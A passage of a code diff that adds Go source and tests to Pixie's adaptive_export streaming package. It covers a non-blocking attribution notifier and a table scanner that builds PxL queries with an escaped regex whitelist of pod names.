http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// recordingQuerier captures every PxL string + lets the test inject +// a per-call row count. Useful for verifying that the PxL the scanner +// emits actually carries the whitelist the test set up upstream. +type recordingQuerier struct { + mu sync.Mutex + queries []string + rowsFunc func(pxl string) []map[string]any +} + +func (r *recordingQuerier) Query(_ context.Context, pxl string) ([]map[string]any, error) { + r.mu.Lock() + r.queries = append(r.queries, pxl) + r.mu.Unlock() + if r.rowsFunc == nil { + return nil, nil + } + return r.rowsFunc(pxl), nil +} + +func (r *recordingQuerier) all() []string { + r.mu.Lock() + defer r.mu.Unlock() + out := make([]string, len(r.queries)) + copy(out, r.queries) + return out +} + +// countingWriter is a SinkWriter that just counts rows landed +// per-table — proxies an integration-grade check without standing +// up a real CH. +type countingWriter struct { + mu sync.Mutex + perTable map[string]int64 + calls atomic.Int64 +} + +func newCountingWriter() *countingWriter { + return &countingWriter{perTable: map[string]int64{}} +} + +func (w *countingWriter) WritePixieRows(_ context.Context, table string, rows []map[string]any) error { + w.mu.Lock() + defer w.mu.Unlock() + w.perTable[table] += int64(len(rows)) + w.calls.Add(1) + return nil +} + +func (w *countingWriter) count(table string) int64 { + w.mu.Lock() + defer w.mu.Unlock() + return w.perTable[table] +} + +// TestIntegration_NotifierToScannerWhitelistFlow — exercises the +// whole rev-3 pipeline minus pixie: +// +// AttributionNotifier.Submit +// → ActiveSet.Upsert +// → FilterUpdater (debounce) +// → TableScanner.buildPxL (whitelist embedded) +// → recordingQuerier (verify PxL contains pod names) +// → BatchWriter (verify rows reach sink) +// +// The whole chain runs against fake pixie + fake sink so we can +// assert on PxL strings + row counts deterministically. +func TestIntegration_NotifierToScannerWhitelistFlow(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + + // Wire up the chain. + set := activeset.New() + notif := NewAttributionNotifier(set, NotifierConfig{BufferSize: 128}) + updater := NewUpdater(set, UpdaterConfig{Debounce: 20 * time.Millisecond}) + q := &recordingQuerier{ + rowsFunc: func(pxl string) []map[string]any { + // Return 3 rows iff the whitelist contains "wantpod"; else 0. + if strings.Contains(pxl, "wantpod") { + return []map[string]any{{"a": 1}, {"a": 2}, {"a": 3}} + } + return nil + }, + } + w := newCountingWriter() + writer := NewBatchWriter("pgsql_events", w, WriterConfig{ + BatchEvery: 50 * time.Millisecond, + BatchRows: 1000, + }) + scanner := NewScanner(ScannerConfig{ + Table: "pgsql_events", + RefreshInterval: 30 * time.Millisecond, + QueryTimeout: 500 * time.Millisecond, + }, q, writer, updater.Subscribe()) + + // Spin everything up. + var wg sync.WaitGroup + wg.Add(4) + go func() { defer wg.Done(); notif.Run(ctx) }() + go func() { defer wg.Done(); updater.Run(ctx) }() + go func() { defer wg.Done(); writer.Run(ctx) }() + go func() { defer wg.Done(); scanner.Run(ctx) }() + + // Push two pods through the controller-facing API. + notif.Submit(activeset.Key{Namespace: "n", Pod: "wantpod"}, time.Now().Add(time.Minute)) + notif.Submit(activeset.Key{Namespace: "n", Pod: "other"}, time.Now().Add(time.Minute)) + + // Wait for the writer to land non-zero rows. + deadline := time.Now().Add(2 * time.Second) + for w.count("pgsql_events") == 0 && time.Now().Before(deadline) { + time.Sleep(20 * time.Millisecond) + } + got := w.count("pgsql_events") + if got < 3 { + t.Fatalf("expected ≥3 rows written for pgsql_events, got %d", got) + } + + // Assert the PxL carried BOTH pods. + found := q.all() + if len(found) == 0 { + t.Fatalf("no PxL queries captured") + } + last := found[len(found)-1] + if !strings.Contains(last, "wantpod") || !strings.Contains(last, "other") { + t.Fatalf("last PxL missing one of the pods:\n%s", last) + } + + cancel() + wg.Wait() +} + +// TestIntegration_EmptyActiveSetSkipsAllQueries — when nothing is +// active, the scanner must NOT issue queries at all. +func TestIntegration_EmptyActiveSetSkipsAllQueries(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond) + defer cancel() + + set := activeset.New() + updater := NewUpdater(set, UpdaterConfig{Debounce: 10 * time.Millisecond}) + q := &recordingQuerier{rowsFunc: func(string) []map[string]any { return nil }} + w := newCountingWriter() + writer := NewBatchWriter("redis_events", w, WriterConfig{BatchEvery: 50 * time.Millisecond}) + scanner := NewScanner(ScannerConfig{Table: "redis_events", RefreshInterval: 30 * time.Millisecond}, q, writer, updater.Subscribe()) + + var wg sync.WaitGroup + wg.Add(3) + go func() { defer wg.Done(); updater.Run(ctx) }() + go func() { defer wg.Done(); writer.Run(ctx) }() + go func() { defer wg.Done(); scanner.Run(ctx) }() + + <-ctx.Done() + wg.Wait() + + if len(q.all()) != 0 { + t.Fatalf("scanner issued %d queries against empty active set; expected 0", len(q.all())) + } +} + +// TestIntegration_PrunePropagatesToScannerWhitelist — when the +// controller's prune fires, the scanner's next PxL must omit the +// pruned pod. +func TestIntegration_PrunePropagatesToScannerWhitelist(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + + set := activeset.New() + notif := NewAttributionNotifier(set, NotifierConfig{BufferSize: 64}) + updater := NewUpdater(set, UpdaterConfig{Debounce: 20 * time.Millisecond}) + q := &recordingQuerier{} + w := newCountingWriter() + writer := NewBatchWriter("http_events", w, WriterConfig{BatchEvery: 50 * time.Millisecond}) + scanner := NewScanner(ScannerConfig{Table: "http_events", RefreshInterval: 30 * time.Millisecond}, q, writer, updater.Subscribe()) + + var wg sync.WaitGroup + wg.Add(4) + go func() { defer wg.Done(); notif.Run(ctx) }() + go func() { defer wg.Done(); updater.Run(ctx) }() + go func() { defer wg.Done(); writer.Run(ctx) }() + go func() { defer wg.Done(); scanner.Run(ctx) }() + + // Add a SECOND pod so the scanner keeps issuing queries after + // we Remove "soon-pruned" (else it'd just sit in empty-whitelist + // mode and we'd have no way to deterministically witness the + // filter change). + notif.Submit(activeset.Key{Pod: "soon-pruned"}, time.Now().Add(time.Minute)) + notif.Submit(activeset.Key{Pod: "stays"}, time.Now().Add(time.Minute)) + waitForQueryContaining(t, q, "soon-pruned", time.Second) + + preCount := len(q.all()) + notif.SubmitRemove(activeset.Key{Pod: "soon-pruned"}) + + // Event-driven wait: poll until a query AFTER preCount appears + // that does NOT contain the pruned pod. That's the witness that + // the filter update has propagated through notifier → activeset → + // updater (debounce) → scanner. Cap at 2 s. + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + all := q.all() + for i := preCount; i < len(all); i++ { + if !strings.Contains(all[i], "soon-pruned") { + // Found the post-prune query without the pod. + // Now also assert that NO query in this post-prune + // window contains the pod (defense against a stale + // in-flight submission landing AFTER the new one). + for j := preCount; j < len(all); j++ { + if strings.Contains(all[j], "soon-pruned") && j > i { + cancel() + wg.Wait() + t.Fatalf("post-prune query at idx %d contains pruned pod after a clean query at idx %d:\n%s", + j, i, all[j]) + } + } + cancel() + wg.Wait() + return + } + } + time.Sleep(20 * time.Millisecond) + } + cancel() + wg.Wait() + t.Fatalf("scanner kept issuing queries containing 'soon-pruned' for 2s after Remove; captured %d queries", + len(q.all())-preCount) +} + +// waitForQueryContaining polls the recorder until a query containing +// `needle` appears OR timeout fires. +func waitForQueryContaining(t *testing.T, q *recordingQuerier, needle string, timeout time.Duration) { + t.Helper() + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + for _, pxl := range q.all() { + if strings.Contains(pxl, needle) { + return + } + } + time.Sleep(10 * time.Millisecond) + } + t.Fatalf("no query containing %q within %v; captured: %v", needle, timeout, q.all()) +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/notifier.go b/src/vizier/services/adaptive_export/internal/streaming/notifier.go new file mode 100644 index 00000000000..2921630a2ab --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/notifier.go @@ -0,0 +1,166 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "sync/atomic" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// AttributionNotifier decouples the controller's per-event callback +// (controller.handle) from ActiveSet writes. Without this shim, a +// stalled ActiveSet subscriber (e.g. a slow Supervisor under load) +// could back-pressure controller.handle and stall trigger consumption +// — i.e. lose the operator's main invariant: kubescape events are +// processed in time. +// +// Contract: +// - Submit / SubmitRemove NEVER block. They drop on buffer overflow +// and bump DroppedCount. +// - One Run goroutine consumes the buffer and applies to ActiveSet. +// - Filtered (host-pid / empty pod) events are counted separately so +// drops vs filters can be distinguished in metrics. +type AttributionNotifier struct { + set *activeset.ActiveSet + cfg NotifierConfig + in chan notifyEvent + + dropped atomic.Int64 + filtered atomic.Int64 +} + +// NotifierConfig tunes the notifier. Zero → safe defaults. +type NotifierConfig struct { + // BufferSize is the input chan capacity. 0 → 1024 default. + // Larger absorbs longer consumer stalls; smaller fails faster. + // Producer drops the OLDEST event on overflow (we'd rather lose + // stale activations than fresh ones). + BufferSize int +} + +func (c NotifierConfig) defaulted() NotifierConfig { + if c.BufferSize <= 0 { + c.BufferSize = 1024 + } + return c +} + +// notifyEvent is the discriminated-union we send across the buffer. +type notifyEvent struct { + key activeset.Key + tEnd time.Time + remove bool +} + +// NewAttributionNotifier wires a notifier. Call Run(ctx) to start +// the consumer goroutine. +func NewAttributionNotifier(set *activeset.ActiveSet, cfg NotifierConfig) *AttributionNotifier { + c := cfg.defaulted() + return &AttributionNotifier{ + set: set, + cfg: c, + in: make(chan notifyEvent, c.BufferSize), + } +} + +// Submit hands an upsert to the notifier. Never blocks. Drops oldest +// on overflow + bumps DroppedCount. Host-pid (empty Pod) events are +// filtered here so the ActiveSet never sees them. +func (n *AttributionNotifier) Submit(key activeset.Key, tEnd time.Time) { + if key.Pod == "" { + n.filtered.Add(1) + return + } + n.send(notifyEvent{key: key, tEnd: tEnd}) +} + +// SubmitRemove hands a removal. Same non-blocking contract as Submit. +func (n *AttributionNotifier) SubmitRemove(key activeset.Key) { + if key.Pod == "" { + n.filtered.Add(1) + return + } + n.send(notifyEvent{key: key, remove: true}) +} + +// send is the non-blocking enqueue with drop-oldest semantics. +func (n *AttributionNotifier) send(e notifyEvent) { + select { + case n.in <- e: + default: + // Drop the OLDEST event then retry. If retry still fails + // (consumer drained between the two operations and another + // producer raced in), count this submit as dropped. + select { + case <-n.in: + n.dropped.Add(1) + default: + } + select { + case n.in <- e: + default: + n.dropped.Add(1) + } + } +} + +// Run owns one goroutine; drains the buffer until ctx cancellation. +// Best-effort drain on shutdown — anything remaining in the buffer +// after ctx.Done is dropped. +func (n *AttributionNotifier) Run(ctx context.Context) { + for { + select { + case <-ctx.Done(): + return + case e := <-n.in: + if e.remove { + n.set.Remove(e.key) + } else { + n.set.Upsert(e.key, e.tEnd) + } + } + } +} + +// DroppedCount returns the number of events lost to buffer overflow. +// Use this as a backpressure signal — non-zero means the consumer +// can't keep up. +func (n *AttributionNotifier) DroppedCount() int64 { return n.dropped.Load() } + +// FilteredCount returns the number of events filtered (empty pod). +func (n *AttributionNotifier) FilteredCount() int64 { return n.filtered.Load() } + +// SubmitFromController is a tiny convenience wrapper that matches +// the controller.Config.OnAttribution signature exactly, for +// idiomatic wiring in main.go: +// +// ctlCfg.OnAttribution = notifier.SubmitFromController +func (n *AttributionNotifier) SubmitFromController(namespace, pod string, tEnd time.Time) { + n.Submit(activeset.Key{Namespace: namespace, Pod: pod}, tEnd) +} + +// RemoveFromController matches controller.Config.OnPrune signature. +func (n *AttributionNotifier) RemoveFromController(namespace, pod string) { + n.SubmitRemove(activeset.Key{Namespace: namespace, Pod: pod}) +} + +// (Backpressure logging was deliberately not wired internally to +// avoid coupling the notifier to a particular log cadence. Callers +// observe via DroppedCount() and log on their own schedule.) diff --git a/src/vizier/services/adaptive_export/internal/streaming/notifier_test.go b/src/vizier/services/adaptive_export/internal/streaming/notifier_test.go new file mode 100644 index 00000000000..7ae020bab8d --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/notifier_test.go @@ -0,0 +1,220 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "sync" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// TestNotifier_NeverBlocksCaller — the synchronous callback path +// (controller.handle → cfg.OnAttribution → activeset.Upsert) must +// not block the caller even when the consuming end is slow. +// +// The current design exposes Upsert as a fast in-mem mutation, but +// once we wire a Notifier between controller and ActiveSet, the +// Notifier MUST guarantee bounded latency on the producer side. +func TestNotifier_CallerReturnsImmediatelyEvenIfConsumerStalls(t *testing.T) { + set := activeset.New() + // Deliberately no ctx / Run here — we want a stalled consumer + // to prove producer never blocks. + + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 32}) + // Start the goroutine but DON'T let it drain — simulate stall + // by NOT calling Run. The producer-side call MUST still return. + // (We never start n.Run here on purpose.) + + start := time.Now() + for i := 0; i < 1000; i++ { + // Submit MORE events than the buffer can hold. + n.Submit(activeset.Key{Pod: "p"}, time.Now().Add(time.Minute)) + } + elapsed := time.Since(start) + if elapsed > 100*time.Millisecond { + t.Fatalf("1000 Submit() calls took %v — producer is blocking on a stalled consumer", elapsed) + } + // Sanity: at least some events were dropped (since we never started Run). + if n.DroppedCount() == 0 { + t.Fatalf("expected DroppedCount > 0 with no consumer, got 0") + } +} + +// TestNotifier_DeliversEventsWhenConsumerKeepsUp — happy path. +// We submit slowly enough vs a generously-sized buffer that the +// consumer trivially keeps up. Tests the basic delivery contract +// without measuring the buffer's drop semantics (that's covered by +// TestNotifier_DroppedCountAccurate). +func TestNotifier_DeliversEventsWhenConsumerKeepsUp(t *testing.T) { + set := activeset.New() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + // Buffer >> burst so no drops are forced; throttle the submit + // loop so the consumer gets scheduled between sends. + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 1024}) + go n.Run(ctx) + + tEnd := time.Now().Add(5 * time.Minute) + for i := 0; i < 50; i++ { + n.Submit(activeset.Key{Pod: "p" + string(rune('a'+(i%26)))}, tEnd) + if i%5 == 0 { + // Yield so the consumer can drain — production callers + // (controller.handle) naturally have inter-event gaps. + time.Sleep(time.Microsecond) + } + } + // Wait until consumer drains. + deadline := time.Now().Add(500 * time.Millisecond) + for set.Size() < 26 && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + if set.Size() != 26 { + t.Fatalf("expected 26 distinct pods, got %d", set.Size()) + } + if n.DroppedCount() != 0 { + t.Fatalf("expected 0 drops with buffer>>burst, got %d", n.DroppedCount()) + } +} + +// TestNotifier_SubmitConcurrentlySafe — the producer path must be +// safe under concurrent callers (controller has only one goroutine +// in handle, but the contract should be conservative). +func TestNotifier_SubmitConcurrentlySafe(t *testing.T) { + set := activeset.New() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 256}) + go n.Run(ctx) + + var wg sync.WaitGroup + for i := 0; i < 50; i++ { + i := i + wg.Add(1) + go func() { + defer wg.Done() + for j := 0; j < 20; j++ { + n.Submit(activeset.Key{Pod: string(rune('a' + (i % 26)))}, time.Now().Add(time.Minute)) + } + }() + } + wg.Wait() + // Allow drain. + deadline := time.Now().Add(500 * time.Millisecond) + for set.Size() < 26 && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + if set.Size() == 0 { + t.Fatalf("no pods landed in ActiveSet under concurrent Submit") + } +} + +// TestNotifier_RunStopsOnCtxCancel — must drain + return promptly +// on ctx cancellation. +func TestNotifier_RunStopsOnCtxCancel(t *testing.T) { + set := activeset.New() + ctx, cancel := context.WithCancel(context.Background()) + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 16}) + done := make(chan struct{}) + go func() { n.Run(ctx); close(done) }() + + cancel() + select { + case <-done: + case <-time.After(500 * time.Millisecond): + t.Fatalf("Run did not return within 500ms of ctx cancel") + } +} + +// TestNotifier_RemoveDeliveredAsRemoval — the Notifier must +// distinguish Upsert vs Remove events. +func TestNotifier_RemoveDeliveredAsRemoval(t *testing.T) { + set := activeset.New() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 4}) + go n.Run(ctx) + + k := activeset.Key{Pod: "p1"} + n.Submit(k, time.Now().Add(time.Minute)) + // drain + deadline := time.Now().Add(300 * time.Millisecond) + for set.Size() == 0 && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + if set.Size() != 1 { + t.Fatalf("upsert didn't land") + } + n.SubmitRemove(k) + deadline = time.Now().Add(300 * time.Millisecond) + for set.Size() == 1 && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + if set.Size() != 0 { + t.Fatalf("remove didn't land") + } +} + +// TestNotifier_DroppedCountAccurate — overflow accounting. +func TestNotifier_DroppedCountAccurate(t *testing.T) { + set := activeset.New() + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 4}) + // Don't run the consumer. + const submits = 100 + for i := 0; i < submits; i++ { + n.Submit(activeset.Key{Pod: "p"}, time.Now()) + } + if got := n.DroppedCount(); got < int64(submits-4-1) { // allow ±1 slack on buffer count + t.Fatalf("expected ~%d drops, got %d", submits-4, got) + } +} + +// TestNotifier_HostPidEntriesAreFiltered — host-pid events (empty +// Pod) cannot be streamed and must be dropped at the Notifier so the +// ActiveSet never accumulates pod-less rows. +func TestNotifier_HostPidEntriesAreFiltered(t *testing.T) { + set := activeset.New() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + n := NewAttributionNotifier(set, NotifierConfig{BufferSize: 8}) + go n.Run(ctx) + n.Submit(activeset.Key{Pod: ""}, time.Now().Add(time.Minute)) + n.Submit(activeset.Key{Pod: "real"}, time.Now().Add(time.Minute)) + deadline := time.Now().Add(300 * time.Millisecond) + for set.Size() < 1 && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + if set.Size() != 1 { + t.Fatalf("expected 1 entry (only real), got %d", set.Size()) + } + if n.FilteredCount() < 1 { + t.Fatalf("expected at least 1 filtered, got %d", n.FilteredCount()) + } +} + +// staticAtomicCheck — make sure Stats accessors don't panic on +// a freshly-constructed notifier (no Run yet). +func TestNotifier_StatsOnFreshInstance(t *testing.T) { + set := activeset.New() + n := NewAttributionNotifier(set, NotifierConfig{}) + if n.DroppedCount() != 0 || n.FilteredCount() != 0 { + t.Fatalf("fresh notifier should report zero counters") + } +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/scanner.go b/src/vizier/services/adaptive_export/internal/streaming/scanner.go new file mode 100644 index 00000000000..b0b3ca37bb5 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/scanner.go @@ -0,0 +1,310 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "fmt" + "strconv" + "strings" + "sync/atomic" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// Querier executes a PxL string against a vizier and returns the +// resulting flat rows. Same shape as controller.PixieQuerier; kept +// independently here to avoid an import cycle. +type Querier interface { + Query(ctx context.Context, pxl string) ([]map[string]any, error) +} + +// ScannerConfig tunes one TableScanner. +type ScannerConfig struct { + // Table is the pixie observation table this scanner targets + // (e.g. "pgsql_events"). REQUIRED. + Table string + + // QueryWindow is the `start_time` in the emitted PxL, e.g. "-60s". + // Must be longer than RefreshInterval + maximum expected query + // latency, otherwise rows in the gap between consecutive runs + // would be missed. 0 → -60s. + QueryWindow time.Duration + + // RefreshInterval is the floor on time-between-PxL-submissions. + // A filter change can submit sooner; this prevents over-frequent + // submissions when the filter is stable. 0 → 30s. + RefreshInterval time.Duration + + // QueryTimeout bounds one PxL call. 0 → 180s. + QueryTimeout time.Duration + + // BackoffInitial / BackoffMax — exponential backoff on Querier + // errors. 0 → 1s / 30s. + BackoffInitial time.Duration + BackoffMax time.Duration +} + +func (c ScannerConfig) defaulted() ScannerConfig { + if c.QueryWindow <= 0 { + c.QueryWindow = 60 * time.Second + } + if c.RefreshInterval <= 0 { + c.RefreshInterval = 30 * time.Second + } + if c.QueryTimeout <= 0 { + c.QueryTimeout = 180 * time.Second + } + if c.BackoffInitial <= 0 { + c.BackoffInitial = 1 * time.Second + } + if c.BackoffMax <= 0 { + c.BackoffMax = 30 * time.Second + } + return c +} + +// TableScanner runs ONE PxL submission per refresh cycle for ONE +// pixie table, with a pod whitelist drawn from an upstream Filter +// channel. Output goes to a per-table BatchWriter. +// +// This is the rev-3 replacement for pushPixieRows' per-hash×per-table +// fan-out. Goroutines created: 1 per TableScanner. Concurrency +// against vizier-query-broker: 1 per scanner = N (number of tables). +type TableScanner struct { + cfg ScannerConfig + querier Querier + writer *BatchWriter + filters <-chan Filter + + currentFilter Filter + + queries atomic.Int64 + queryErr atomic.Int64 + rowsIn atomic.Int64 + skipped atomic.Int64 +} + +// NewScanner wires a scanner. filters is the channel returned by +// FilterUpdater.Subscribe. +func NewScanner(cfg ScannerConfig, querier Querier, writer *BatchWriter, filters <-chan Filter) *TableScanner { + return &TableScanner{ + cfg: cfg.defaulted(), + querier: querier, + writer: writer, + filters: filters, + } +} + +// Run owns one goroutine. Loops: +// +// 1. Wait for filter (initial) — block until first one arrives. +// 2. Loop: +// - If filter has no pods AND mode == Whitelist: skip query +// entirely (the whole purpose: empty whitelist = no work). +// - Else: build PxL, query, push rows to writer. +// - Sleep RefreshInterval OR until filter changes. +// 3. Backoff on Querier errors. +func (s *TableScanner) Run(ctx context.Context) { + // 1. Initial filter. + select { + case f, ok := <-s.filters: + if !ok { + return + } + s.currentFilter = f + case <-ctx.Done(): + return + } + + backoff := s.cfg.BackoffInitial + resetBackoff := func() { backoff = s.cfg.BackoffInitial } + bumpBackoff := func() { + backoff *= 2 + if backoff > s.cfg.BackoffMax { + backoff = s.cfg.BackoffMax + } + } + + for { + if ctx.Err() != nil { + return + } + + // Empty whitelist short-circuit: nothing to query. + if s.currentFilter.Mode == FilterModeWhitelist && len(s.currentFilter.Pods) == 0 { + s.skipped.Add(1) + // Wait for either: a new filter arrives, or ctx done. + select { + case <-ctx.Done(): + return + case f, ok := <-s.filters: + if !ok { + return + } + s.currentFilter = f + } + continue + } + + // 2. Build PxL + execute. + pxl := s.buildPxL(s.currentFilter) + qctx, cancel := context.WithTimeout(ctx, s.cfg.QueryTimeout) + rows, err := s.querier.Query(qctx, pxl) + cancel() + s.queries.Add(1) + if err != nil { + s.queryErr.Add(1) + log.WithError(err).WithFields(log.Fields{ + "table": s.cfg.Table, + "pods": len(s.currentFilter.Pods), + "mode": s.currentFilter.Mode, + "backoff": backoff, + }).Warn("streaming.TableScanner: query failed; backing off") + // Wait either backoff OR new filter (filter takes precedence). + select { + case <-ctx.Done(): + return + case f, ok := <-s.filters: + if !ok { + return + } + s.currentFilter = f + resetBackoff() + case <-time.After(backoff): + bumpBackoff() + } + continue + } + resetBackoff() + s.rowsIn.Add(int64(len(rows))) + + // 3. Hand off to writer. + if len(rows) > 0 { + s.writer.Submit(rows) + } + log.WithFields(log.Fields{ + "table": s.cfg.Table, + "pods": len(s.currentFilter.Pods), + "mode": s.currentFilter.Mode, + "rows": len(rows), + "version": s.currentFilter.Version, + }).Info("streaming.TableScanner: query completed") + + // 4. Sleep until refresh OR filter change. + select { + case <-ctx.Done(): + return + case f, ok := <-s.filters: + if !ok { + return + } + s.currentFilter = f + case <-time.After(s.cfg.RefreshInterval): + } + } +} + +// buildPxL renders the script for one query. +func (s *TableScanner) buildPxL(f Filter) string { + relStart := "-" + strconv.FormatInt(int64(s.cfg.QueryWindow/time.Second), 10) + "s" + var b strings.Builder + b.WriteString("import px\n") + b.WriteString("df = px.DataFrame(table='" + s.cfg.Table + "', start_time='" + relStart + "')\n") + b.WriteString("df.namespace = px.upid_to_namespace(df.upid)\n") + b.WriteString("df.pod = px.upid_to_pod_name(df.upid)\n") + if f.Mode == FilterModeWhitelist && len(f.Pods) > 0 { + // Whitelist clause. PxL syntax exploration (2026-05-17): + // - `or` between equalities → "Expected two arguments to 'or'" + // - `|` between equalities → "Operator '|' not handled" + // - `px.contains(s, p)` → SUBSTRING (not regex) + // - `px.regex_match(p, s)` → RE2 regex match (PxL UDF + // registered in carnot/funcs/builtins/regex_ops.cc) + // → use regex_match with an anchored alternation. + b.WriteString("df = df[px.regex_match('^(") + for i, k := range f.Pods { + if i > 0 { + b.WriteString("|") + } + b.WriteString(escapeRegex(escapePxL(k.Render()))) + } + b.WriteString(")$', df.pod)]\n") + } + // Unfiltered mode: emit ALL pods on this node. The CH writer's + // downstream consumers can filter by joining adaptive_attribution. + b.WriteString("px.display(df, '" + s.cfg.Table + "')\n") + return b.String() +} + +// ScannerStats — small monitoring helper. +type ScannerStats struct { + Queries int64 + Errors int64 + RowsIn int64 + Skipped int64 +} + +func (s *TableScanner) Stats() ScannerStats { + return ScannerStats{ + Queries: s.queries.Load(), + Errors: s.queryErr.Load(), + RowsIn: s.rowsIn.Load(), + Skipped: s.skipped.Load(), + } +} + +var pxlEscaper = strings.NewReplacer(`\`, `\\`, `'`, `\'`) + +func escapePxL(s string) string { + return pxlEscaper.Replace(s) +} + +// escapeRegex defangs regex metacharacters in pod names. k8s pod names +// are DNS-1123 (lowercase alphanumeric + hyphen) plus a "/" namespace +// separator — none of these are regex meta — but we escape defensively +// so a future rename rule that admits underscores or dots doesn't +// produce a silently-broken filter. +var regexEscaper = strings.NewReplacer( + `.`, `\.`, + `|`, `\|`, + `(`, `\(`, + `)`, `\)`, + `+`, `\+`, + `*`, `\*`, + `?`, `\?`, + `[`, `\[`, + `]`, `\]`, + `{`, `\{`, + `}`, `\}`, + `^`, `\^`, + `$`, `\$`, +) + +func escapeRegex(s string) string { + return regexEscaper.Replace(s) +} + +// Compile-time assert ActiveSet.Key is what we expect (the fmt import +// would be unused if Render changed). +var _ = fmt.Sprintf + +// Compile-time assert that activeset.Key.Render is the format used +// above (sanity for refactors). +var _ = (activeset.Key{}).Render diff --git a/src/vizier/services/adaptive_export/internal/streaming/scanner_test.go b/src/vizier/services/adaptive_export/internal/streaming/scanner_test.go new file mode 100644 index 00000000000..61774108d4b --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/scanner_test.go @@ -0,0 +1,239 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "errors" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" +) + +// fakeQuerier captures PxL strings and returns a canned row set. +type fakeQuerier struct { + mu sync.Mutex + queries []string + rows []map[string]any +} + +func (f *fakeQuerier) Query(ctx context.Context, pxl string) ([]map[string]any, error) { + f.mu.Lock() + f.queries = append(f.queries, pxl) + f.mu.Unlock() + return f.rows, nil +} + +// failingQuerier always returns err. +type failingQuerier struct { + err error + mu sync.Mutex + hits int +} + +func (f *failingQuerier) Query(ctx context.Context, pxl string) ([]map[string]any, error) { + f.mu.Lock() + f.hits++ + f.mu.Unlock() + return nil, f.err +} + +// flipFlopQuerier alternates success / failure per call. +type flipFlopQuerier struct { + mu sync.Mutex + idx int + results [][]map[string]any + failures []bool +} + +func (f *flipFlopQuerier) Query(ctx context.Context, pxl string) ([]map[string]any, error) { + f.mu.Lock() + defer f.mu.Unlock() + i := f.idx % len(f.failures) + f.idx++ + if f.failures[i] { + return nil, errors.New("simulated failure") + } + return f.results[i], nil +} + +// fakeWriter counts WritePixieRows invocations. +type fakeWriter struct { + count atomic.Int64 +} + +func (f *fakeWriter) WritePixieRows(ctx context.Context, table string, rows []map[string]any) error { + f.count.Add(int64(len(rows))) + return nil +} + +func 